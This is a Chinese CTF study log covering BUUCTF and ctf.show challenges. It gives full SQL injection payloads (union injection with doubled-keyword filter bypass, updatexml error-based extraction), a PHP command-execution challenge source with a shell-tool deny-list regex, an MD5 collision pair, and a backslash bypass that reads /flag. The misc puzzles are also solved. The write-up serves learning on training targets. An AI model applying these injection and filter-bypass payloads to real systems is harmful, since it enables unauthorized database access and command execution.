CTF题记——计划第一周
前言
大二上的计划第一次给自己交作业。
Web
做SQL注入的题目有点拉垮,老老实实刷刷题吧。
BabySQL
极客大挑战的题目——来源BUUCTF
测试一下,先看一下闭合符号是什么。
?username=admin&password=1'
双引号闭合,
首先尝试万能密码
?username=admin&password="or"="a'='a
登录成功
想先fuzz一下,结果太多请求不返回内容了,只能手动测
?username=admin&password=1' union select 1#
然后只剩下1#
可知union
和select
被过滤了。尝试双写绕过
然后呢提示列数错误
所以这个时候已经注入成功了,只是查询语句出错了,列数我这里设置的1,进行尝试就可以知道列数为3
然后进行爆数据库名。
?username=admin&password=1' ununionion seselectlect 1,2,database()#
数据库名是geek
查询表名
过滤from,过滤好多。
重新设置payload
?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata)#
查到ctf
表和geek
表都有可能,先看geek
表
?username=admin&password=1' ununionion seselectlect 1,2,group_concat(table_name)frfromom (infoorrmation_schema.tables)whwhereere table_schema="geek"#
不急着查列,先看看ctf表中是什么,
这个就是都看一看,省去不必要的步骤
直接查字段了
?username=admin&password=1' ununionion seselectlect 1,2,group_concat(column_name)frfromom (infoorrmation_schema.columns)whwhereere table_name="Flag"#
查看内容就可以了
?username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#
HardSQL
进行测试,测试闭合符号和一些常见过滤。
首先测试闭合符号,输入a'
来进行测试
发现报错,然后进行fuzz测试。发现
过滤许多,=
和空格
等,联合查询的方式被过滤了,order by
也行不通,所以换个方法。报错注入进行注入。
所以空格可以使用()
绕过,=
可以用like
而且抓包会发现这个题目是get方式请求的
这里我测试使用的是updatexml
也可以使用另一种,extractvalue
还有就是尝试进行注入数据库名的时候,发现and和or也被过滤。无法使用
,会“被逮到”!
然后就使用^
形成异或,来连接SQL语句。
注入数据库名的payload
?username=admin&password=a'^updatexml('~',concat(0x7e,(select(database()))),'~')%23
%23
是#
的URL编码
注出数据库名为geek
接下来就是模版,
?username=admin&password=a'^updatexml('~',concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))),'~')%23
过程顺利,继续进行
?username=admin&password=a'^updatexml('~',concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))),'~')%23 #id,username,password
?username=admin&password=a'^updatexml('~',concat(0x7e,(select(password)from(geek.H4rDsq1))),'~')%23 #~flag{3ae14e93-a584-402e-bb93-c5'
最后的语句只有一半flag,这是updatexml
只能一次最多显示32位,
所以需要使用left和right来控制输出。
?username=admin&password=a'^updatexml('~',concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))),'~')%23
?username=admin&password=a'^updatexml('~',concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))),'~')%23
得到后面的flag
拼接一下就行。
这个是报错注入的注意点。不管做什么注入的题目,判断闭合符号和测试过滤条件是首先要做的。尽量将大部分测试出来。然后找可以绕过的点,还有出题人可能要考察的知识点。
easy_web
题目来源——[安洵杯 2019]easy_web——BUUCTF
在群里看到有人问这个,所以就看了看。挺有意思的一个题。总结一下
首先看到这个编码,疑似base64,解码后更像base64了,最后进行base16转换,就可以得到这样的
所以这可能是命令执行的加密逻辑;
将index.php
进行加密后得到
TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
传入
?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=
base64解码,得到
index.php的源代码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
进行代码审计,找到重要部分代码,这个
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
需要绕过正则,还有下面的MD5强类型碰撞,因为用的是===
所以,在进行,命令执行的时候,还要注意绕过MD5强碰撞。
百度找下MD5强碰撞绕过。
找到payload如下:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
然后可以开始利用,进行命令执行部分的绕过。
正则匹配,过滤ls
等常见命令,到那时找一圈,没发现dir
,所以可以使用dir进行查看目录。
没找到flag,想一下,思考flag的位置,也就是根目录下了。
这里要注意的是空格,在里面被过滤了,需要进行URL编码一下,才可以利用。所以这里是dir%20/
然后怎么得到flag是个问题,cat、more等命令被禁了。
测试发现反斜扛是没有被过滤的,然后看正则,
ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>
其中|\?|\\|\\\\|\n|
中是将\
过滤的,有点不理解就看大佬wp,说是这里反斜杠逃逸。
所以可以利用反斜杠。
我自己的理解
\\\\
四个反斜杠,前面两个解释成一个反斜杠,后面两个解释成一个反斜杠。两个反斜杠相当于玩了个寂寞,都没有跟东西所以反斜杠实际上没有被过滤。相当于替换双斜杠。如果要过滤反斜杠要么两个或者三个。
这里使用ca\t%20/flag
就可以读出flag了。
Misc
1024杯misc签到
描述:地图,各个路口的编号,flag遗落在其中了,flag路口的编号是连续的
路口编号,第一个路口不知道是什么,找到第一个,剩下的就好找了
出题人是9u4ck
师傅,找师傅的id试试,
直到9u4
发现了端倪
跟上了fl
,再找就找路口编号就行。
56520 78210 35498184 9u4fl
78210 81068 79650456 ag{We
81068 86056 65454545 lcom
86056 89556 16548421 _102
89556 91205 26568154 4_Cha
91205 94156 566512548 lleng
94156 96825 15487856 _9u4
96825 98155 156565645 ck}56
拼接出来flag
1024杯misc重新签到
题目来源ctf.show平台
hint.txt提示到一关一关解出flag
第一关,压缩包,拖进010editor查看,测试出不是伪加密,在末尾看到了提示,
但是爆破密码无果。
于是进行CRC32碰撞。得到密码。
然后是steghide隐写
steghide extract -sf level_2.jpg -p 0009656856
发现得到的是密码是什么呀
然后就是
密码是32 bits,想的是md5,但是密码什么却不知道,怎么加密也不知道。所以就卡住了。
看了大师傅的wp后,
emmm,脑洞啊,太小了。还有就是,这个没有那么多提示了。
提示如下:
脑洞了,可惜我脑洞太小,猜不出来。
wp说的是将什么呀
经过sha1
加密得到压缩包的密码。
a95aea415a4d76c323b13423a22f72c56ca912b6
最后得到flag
1024_大威天龙
拉近010editor查看,改下高度,发现下方文字。
如是我闻开头,佛曰,与佛论禅在线网站。
解出是新佛曰,也有对应的在线网站。
再次解出熊曰,同样是在线网站
最后熊曰解出的是佛又曰,重点在这里,这个之前没见过,收集一下网站。
佛又曰在线网站
需要箴言,也就是密钥
箴言在题目描述中,出题师傅已经给了。
大威天龙,世尊地藏,般若诸佛,般若巴嘛哄
总结
这次学习有复习以前的知识,还有获取新知识,SQL注入是一块大饼,还是要慢慢啃。下周继续努力。